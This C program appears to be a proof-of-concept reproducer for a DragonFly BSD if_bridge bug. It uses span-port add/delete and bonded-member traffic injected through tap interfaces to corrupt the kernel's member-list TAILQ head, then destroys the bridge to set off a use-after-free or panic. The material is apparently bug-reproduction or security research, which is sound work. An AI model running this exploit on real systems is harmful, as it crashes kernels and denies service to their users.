/*
 * DF-3277 -- bridge_delete_span() removes the span bif from the WRONG list.
 *
 * if_bridge.c:1155:  TAILQ_REMOVE(&sc->sc_iflists[mycpuid], bif, bif_next);
 * but span bifs are linked on sc->sc_spanlist (bridge_ioctl_addspan,
 * if_bridge.c:1832).  Removing the *last* span entry executes
 *   head->tqh_last = elm->tqe_prev
 * against the per-cpu MEMBER list head -> sc_iflists[0].tqh_last is
 * clobbered to &sc->sc_spanlist.tqh_first.
 *
 * The next TAILQ_INSERT_TAIL on the member list (the LINK2 bonding
 * round-robin in bridge_select_unicast, if_bridge.c:2140) then does
 *   *(sc_iflists[0].tqh_last) = alt_bif;   == sc_spanlist.tqh_first = <member bif>
 * cross-linking the span list with the member list.  Teardown of the
 * bridge then treats a member bif as a span bif: KASSERT / UAF write /
 * double free.
 *
 * This program performs the whole chain pinned to CPU0:
 *   1. bridge0 + tap0/tap1 (same MAC = bonding set, STP on) + tap2 (injector)
 *   2. link2 + fwddelay=1, wait for FORWARDING
 *   3. spanport tap3 add + del  <-- corrupts sc_iflists[0].tqh_last
 *   4. learn MAC on tap0, then unicast dst=that MAC from tap2
 *      <-- bonding round-robin INSERT_TAIL through the stale tqh_last
 *   5. exec "ifconfig bridge0 destroy" -- corruption manifests
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sched.h>		/* sched_setaffinity, cpu_set_t (cpumask_t) */
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bridge/if_bridgevar.h>
#include <net/if_dl.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>

#define BRIDGE "bridge0"

static int s;			/* ioctl socket */

static void die(const char *m)
{
	fprintf(stderr, "[-] %s: %s\n", m, strerror(errno));
	exit(1);
}

static void ifflags(const char *ifname, short flags)
{
	struct ifreq ifr;
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
	ifr.ifr_flags = flags;
	if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
}

static void drvspec(const char *ifname, unsigned long cmd, int subcmd,
		    void *data, size_t len)
{
	struct ifdrv ifd;
	memset(&ifd, 0, sizeof(ifd));
	strlcpy(ifd.ifd_name, ifname, IFNAMSIZ);
	ifd.ifd_cmd = subcmd;
	ifd.ifd_len = len;
	ifd.ifd_data = data;
	if (ioctl(s, cmd, &ifd) < 0) {
		fprintf(stderr, "[-] drvspec cmd=%d: %s\n", subcmd,
		    strerror(errno));
		exit(1);
	}
}

static void add_member(const char *bridge, const char *member)
{
	struct ifbreq r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.ifbr_ifsname, member, IFNAMSIZ);
	drvspec(bridge, SIOCSDRVSPEC, BRDGADD, &r, sizeof(r));
}

static void set_stp(const char *bridge, const char *member, int on)
{
	struct ifbreq r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.ifbr_ifsname, member, IFNAMSIZ);
	r.ifbr_ifsflags = IFBIF_LEARNING | IFBIF_DISCOVER;
	if (on)
		r.ifbr_ifsflags |= IFBIF_STP;
	drvspec(bridge, SIOCSDRVSPEC, BRDGSIFFLGS, &r, sizeof(r));
}

static void set_fwddelay(const char *bridge, int secs)
{
	struct ifbrparam p;
	memset(&p, 0, sizeof(p));
	p.ifbrp_fwddelay = secs;
	drvspec(bridge, SIOCSDRVSPEC, BRDGSFD, &p, sizeof(p));
}

static void addspan(const char *bridge, const char *member)
{
	struct ifbreq r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.ifbr_ifsname, member, IFNAMSIZ);
	drvspec(bridge, SIOCSDRVSPEC, BRDGADDS, &r, sizeof(r));
}

static void delspan(const char *bridge, const char *member)
{
	struct ifbreq r;
	memset(&r, 0, sizeof(r));
	strlcpy(r.ifbr_ifsname, member, IFNAMSIZ);
	drvspec(bridge, SIOCSDRVSPEC, BRDGDELS, &r, sizeof(r));
}

/* set interface link-layer address.
 * DFly quirk: SIOCSIFLLADDR passes ifr_addr.sa_len as the *address
 * length* and sa_data as the address (see if_setlladdr, sys/net/if.c).
 */
static void set_lladdr(const char *ifname, const unsigned char *mac)
{
	struct ifreq ifr;
	struct sockaddr sa;

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
	memset(&sa, 0, sizeof(sa));
	sa.sa_family = AF_LINK;
	sa.sa_len = ETHER_ADDR_LEN;
	memcpy(sa.sa_data, mac, ETHER_ADDR_LEN);
	memcpy(&ifr.ifr_addr, &sa, sizeof(sa));
	if (ioctl(s, SIOCSIFLLADDR, &ifr) < 0)
		die("SIOCSIFLLADDR");
}

static void create_if(const char *ifname)
{
	char cmd[64];

	/*
	 * NOTE: direct SIOCIFCREATE intermittently EINVALs on this
	 * guest for currently-unknown reasons; use ifconfig(8) (the
	 * canonical creator) instead.  It runs the same ioctl.
	 */
	snprintf(cmd, sizeof(cmd), "ifconfig %s create 2>/dev/null", ifname);
	if (system(cmd) != 0) {
		fprintf(stderr, "[-] ifconfig %s create failed\n", ifname);
		exit(1);
	}
}

static void destroy_if(const char *ifname)
{
	struct ifreq ifr;
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
	if (ioctl(s, SIOCIFDESTROY, &ifr) < 0 && errno != ENXIO &&
	    errno != ENODEV)
		die("SIOCIFDESTROY");
}

static int tap_fd(const char *name)
{
	char path[64];
	int fd;

	snprintf(path, sizeof(path), "/dev/%s", name);
	fd = open(path, O_RDWR);
	if (fd < 0)
		die(path);
	return (fd);
}

static void inject(int fd, const unsigned char *dst, const unsigned char *src)
{
	unsigned char frame[60];

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst, 6);
	memcpy(frame + 6, src, 6);
	/*
	 * ETHERTYPE_ARP: NETISR_ARP has no hashfn, so packets hash to 0
	 * and are always processed on cpu0 (matching the corrupted
	 * sc_iflists[0] list head).  (ETHERTYPE_IP frames with a zero
	 * ip_hl get freed by ip_lengthcheck before reaching the bridge.)
	 */
	frame[12] = 0x08; frame[13] = 0x06;	/* ETHERTYPE_ARP */
	if (write(fd, frame, sizeof(frame)) < 0)
		die("tap write");
}

/* broadcast frame carrying the given source MAC */
static void inject_bcast(int fd, const unsigned char *src)
{
	static const unsigned char bc[6] =
	    {0xff,0xff,0xff,0xff,0xff,0xff};

	inject(fd, bc, src);
}

static void gifflags(const char *bridge, const char *member, struct ifbreq *r)
{
	memset(r, 0, sizeof(*r));
	strlcpy(r->ifbr_ifsname, member, IFNAMSIZ);
	drvspec(bridge, SIOCGDRVSPEC, BRDGGIFFLGS, r, sizeof(*r));
}

/* dump member list order (BRDGGIFS) -- shows TAIL position of bond members */
static void giflist(const char *bridge)
{
	struct ifbifconf bifc;
	struct ifbreq *reqs;
	int i;

	memset(&bifc, 0, sizeof(bifc));
	bifc.ifbic_len = 0;
	drvspec(bridge, SIOCGDRVSPEC, BRDGGIFS, &bifc, sizeof(bifc));
	if (bifc.ifbic_len == 0) {
		printf("    [members: none]\n");
		return;
	}
	reqs = calloc(1, bifc.ifbic_len);
	bifc.ifbic_req = reqs;
	drvspec(bridge, SIOCGDRVSPEC, BRDGGIFS, &bifc, sizeof(bifc));
	printf("    [member order:");
	for (i = 0; i * (int)sizeof(*reqs) < (int)bifc.ifbic_len; i++)
		printf(" %s", reqs[i].ifbr_ifsname);
	printf("]\n");
	free(reqs);
}

/* print ifnet data counters (SIOCGIFDATA; kernel copies to ifr_data) */
static void showstats(const char *ifname)
{
	struct ifreq ifr;
	struct if_data ifd;

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
	ifr.ifr_data = (caddr_t)&ifd;
	if (ioctl(s, SIOCGIFDATA, &ifr) < 0) {
		printf("    [ifdata: %s]\n", strerror(errno));
		return;
	}
	printf("    [%s ipackets=%llu opackets=%llu ibytes=%llu "
	    "ierrors=%llu oerrors=%llu]\n", ifname,
	    (unsigned long long)ifd.ifi_ipackets,
	    (unsigned long long)ifd.ifi_opackets,
	    (unsigned long long)ifd.ifi_ibytes,
	    (unsigned long long)ifd.ifi_ierrors,
	    (unsigned long long)ifd.ifi_oerrors);
}

/* dump the bridge address table (BRDGRTS) */
static void rtsdump(const char *bridge)
{
	struct ifbaconf bac;
	struct ifbareq *reqs;
	int i;

	memset(&bac, 0, sizeof(bac));
	bac.ifbac_len = 0;
	drvspec(bridge, SIOCGDRVSPEC, BRDGRTS, &bac, sizeof(bac));
	if (bac.ifbac_len == 0) {
		printf("    [rtable: empty]\n");
		return;
	}
	reqs = calloc(1, bac.ifbac_len);
	bac.ifbac_req = reqs;
	drvspec(bridge, SIOCGDRVSPEC, BRDGRTS, &bac, sizeof(bac));
	printf("    [rtable:");
	for (i = 0; i * (int)sizeof(*reqs) < (int)bac.ifbac_len; i++)
		printf(" %02x:%02x:%02x:%02x:%02x:%02x->%s",
		    reqs[i].ifba_dst[0], reqs[i].ifba_dst[1],
		    reqs[i].ifba_dst[2], reqs[i].ifba_dst[3],
		    reqs[i].ifba_dst[4], reqs[i].ifba_dst[5],
		    reqs[i].ifba_ifsname);
	printf("]\n");
	free(reqs);
}

/* print bridge if_flags */
static void showflags(const char *ifname)
{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
	if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	printf("[+] %s flags=%#x (LINK2=%#x UP=%#x RUN=%#x)\n", ifname,
	    (unsigned)ifr.ifr_flags, IFF_LINK2, IFF_UP, IFF_RUNNING);
}

/* poll until member reaches FORWARDING (state 3) or timeout */
static int wait_forwarding(const char *bridge, const char *member, int secs)
{
	struct ifbreq r;
	int t;

	for (t = 0; t < secs; t++) {
		gifflags(bridge, member, &r);
		if (r.ifbr_state == BSTP_IFSTATE_FORWARDING)
			return (0);
		sleep(1);
	}
	return (-1);
}

static void pin_cpu0(void)
{
	cpu_set_t mask;		/* cpumask_t struct: one bit per cpu */

	CPU_ZERO(&mask);
	CPU_SET(0, &mask);
	if (sched_setaffinity(0, sizeof(mask), &mask) < 0)
		die("sched_setaffinity");
	printf("[+] pinned to cpu0\n");
}

/* 02:xx unicast addresses */
static const unsigned char mac_bond[6] = {0x02,0,0,0,0,0x10};	/* tap0/tap1 */
static const unsigned char mac_tap2[6] = {0x02,0,0,0,0,0x22};
static const unsigned char mac_learn[6] = {0x02,0,0,0,0,0x55};	/* host behind tap0 */
static const unsigned char mac_src[6]  = {0x02,0,0,0,0,0x66};	/* host behind tap2 */

int main(void)
{
	int fd0, fd2, i;

	setvbuf(stdout, NULL, _IOLBF, 0);
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		die("socket");

	pin_cpu0();

	/* clean slate */
	destroy_if(BRIDGE);
	destroy_if("tap0"); destroy_if("tap1");
	destroy_if("tap2"); destroy_if("tap3");

	create_if("tap0"); create_if("tap1"); create_if("tap2"); create_if("tap3");

	/* bonding set: tap0/tap1 share one MAC */
	set_lladdr("tap0", mac_bond);
	set_lladdr("tap1", mac_bond);
	set_lladdr("tap2", mac_tap2);

	/*
	 * Open the tap fds BEFORE the bridge comes up: bstp_ifupdstatus()
	 * needs IFM_ACTIVE media (fd open), else the ports are disabled at
	 * initialization and later enabling parks them in BLOCKING without
	 * a state selection (bstp_enable_port quirk).
	 */
	fd0 = tap_fd("tap0");
	{
		int fd1 = tap_fd("tap1");
		(void)fd1;
	}
	fd2 = tap_fd("tap2");

	create_if(BRIDGE);
	ifflags("tap0", IFF_UP | IFF_RUNNING);
	ifflags("tap1", IFF_UP | IFF_RUNNING);
	ifflags("tap2", IFF_UP | IFF_RUNNING);
	add_member(BRIDGE, "tap0");
	add_member(BRIDGE, "tap1");
	add_member(BRIDGE, "tap2");
	set_stp(BRIDGE, "tap0", 1);
	set_stp(BRIDGE, "tap1", 1);
	set_fwddelay(BRIDGE, 1);

	/* bridge: UP + LINK2 (bonding round robin) */
	ifflags(BRIDGE, IFF_UP | IFF_LINK2);
	printf("[+] bridge up (link2), waiting for STP forwarding\n");

	/* wait until the STP bond members actually FORWARD */
	{
		struct ifbreq r0, r1;
		int t, ok = 0;

		for (t = 0; t < 40 && !ok; t++) {
			gifflags(BRIDGE, "tap0", &r0);
			gifflags(BRIDGE, "tap1", &r1);
			printf("    t=%2d tap0: state=%d flags=%#x | "
			    "tap1: state=%d flags=%#x\n",
			    t, r0.ifbr_state, r0.ifbr_ifsflags,
			    r1.ifbr_state, r1.ifbr_ifsflags);
			ok = (r0.ifbr_state == BSTP_IFSTATE_FORWARDING ||
			      r0.ifbr_state == BSTP_IFSTATE_BONDED) &&
			     (r1.ifbr_state == BSTP_IFSTATE_FORWARDING ||
			      r1.ifbr_state == BSTP_IFSTATE_BONDED);
			sleep(1);
		}
		gifflags(BRIDGE, "tap0", &r0);
		printf("[+] tap0 stp state=%d flags=%#x (3=fwd 5=bonded)\n",
		    r0.ifbr_state, r0.ifbr_ifsflags);
		if (!ok) {
			printf("[-] bond members never forwarded\n");
			return (2);
		}
	}

	/*
	 * 1) corrupt sc_iflists[0].tqh_last via span add+del.
	 *    bridge_delete_span TAILQ_REMOVEs the span bif (last on spanlist)
	 *    against the MEMBER list head.
	 */
	addspan(BRIDGE, "tap3");
	delspan(BRIDGE, "tap3");
	printf("[+] spanport tap3 added+deleted (list head corrupted)\n");

	/*
	 * 2) learn mac_learn behind tap0, then send unicast dst=mac_learn
	 *    in via tap2 (pinned cpu0): bridge_rtlookup -> tap0 ->
	 *    bridge_select_unicast bonding round-robin ->
	 *    TAILQ_INSERT_TAIL through the stale tqh_last ->
	 *    sc_spanlist.tqh_first = <member bif>.
	 */
	printf("[+] list order before bonding traffic:");
	giflist(BRIDGE);
	showflags(BRIDGE);
	system("ifconfig tap0 | head -2; ifconfig tap1 | head -2;"
	    " ifconfig tap2 | head -2");
	/* broadcast learn frame (src=02:55) -- proven to reach input */
	showstats(BRIDGE);
	inject_bcast(fd0, mac_learn);
	usleep(300000);
	showstats(BRIDGE);
	printf("[+] after bcast learn frame:");
	rtsdump(BRIDGE);
	/* unicast learn frame variant too (src=02:55, unknown dst) */
	inject(fd0, mac_src, mac_learn);
	usleep(300000);
	printf("[+] after ucast learn frame:");
	rtsdump(BRIDGE);
	for (i = 0; i < 4; i++) {
		inject(fd2, mac_learn, mac_src);
		usleep(200000);
	}
	printf("[+] bonding traffic injected (INSERT_TAIL fired on cpu0)\n");
	printf("[+] list order after bonding traffic:");
	giflist(BRIDGE);
	printf("[+] rtable after:");
	rtsdump(BRIDGE);

	/*
	 * 3) probe: if the span list got cross-linked with the member
	 *    list, tap1 (a MEMBER) now appears in sc_spanlist, and
	 *    BRDGDELS("tap1") will "succeed": it unlinks the member bif
	 *    from the member list and frees it while it is still a
	 *    member (if_bridge == sc).  With no corruption it returns
	 *    ENOENT.
	 */
	{
		struct ifdrv ifd;
		struct ifbreq r;
		int rc;

		memset(&r, 0, sizeof(r));
		strlcpy(r.ifbr_ifsname, "tap1", IFNAMSIZ);
		memset(&ifd, 0, sizeof(ifd));
		strlcpy(ifd.ifd_name, BRIDGE, IFNAMSIZ);
		ifd.ifd_cmd = BRDGDELS;
		ifd.ifd_len = sizeof(r);
		ifd.ifd_data = &r;
		rc = ioctl(s, SIOCSDRVSPEC, &ifd);
		printf("[+] delspan(tap1) probe rc=%d errno=%d (%s)\n",
		    rc, errno, rc == 0 ? "MEMBER FOUND IN SPANLIST!" :
		    strerror(errno));
	}
	sleep(2);	/* let ssh drain the log before the likely panic */

	/*
	 * 4) teardown -- if the probe succeeded, cpu0's member list no
	 *    longer has tap1's bif while other cpus still do: destroy
	 *    hits KKASSERT(bif != NULL && bif->bif_onlist) in
	 *    bridge_del_bif_handler -> guaranteed panic.
	 */
	printf("[+] destroying bridge0 ...\n");
	fflush(stdout);
	destroy_if(BRIDGE);
	printf("[-] bridge destroyed cleanly, no visible corruption\n");
	return (2);
}
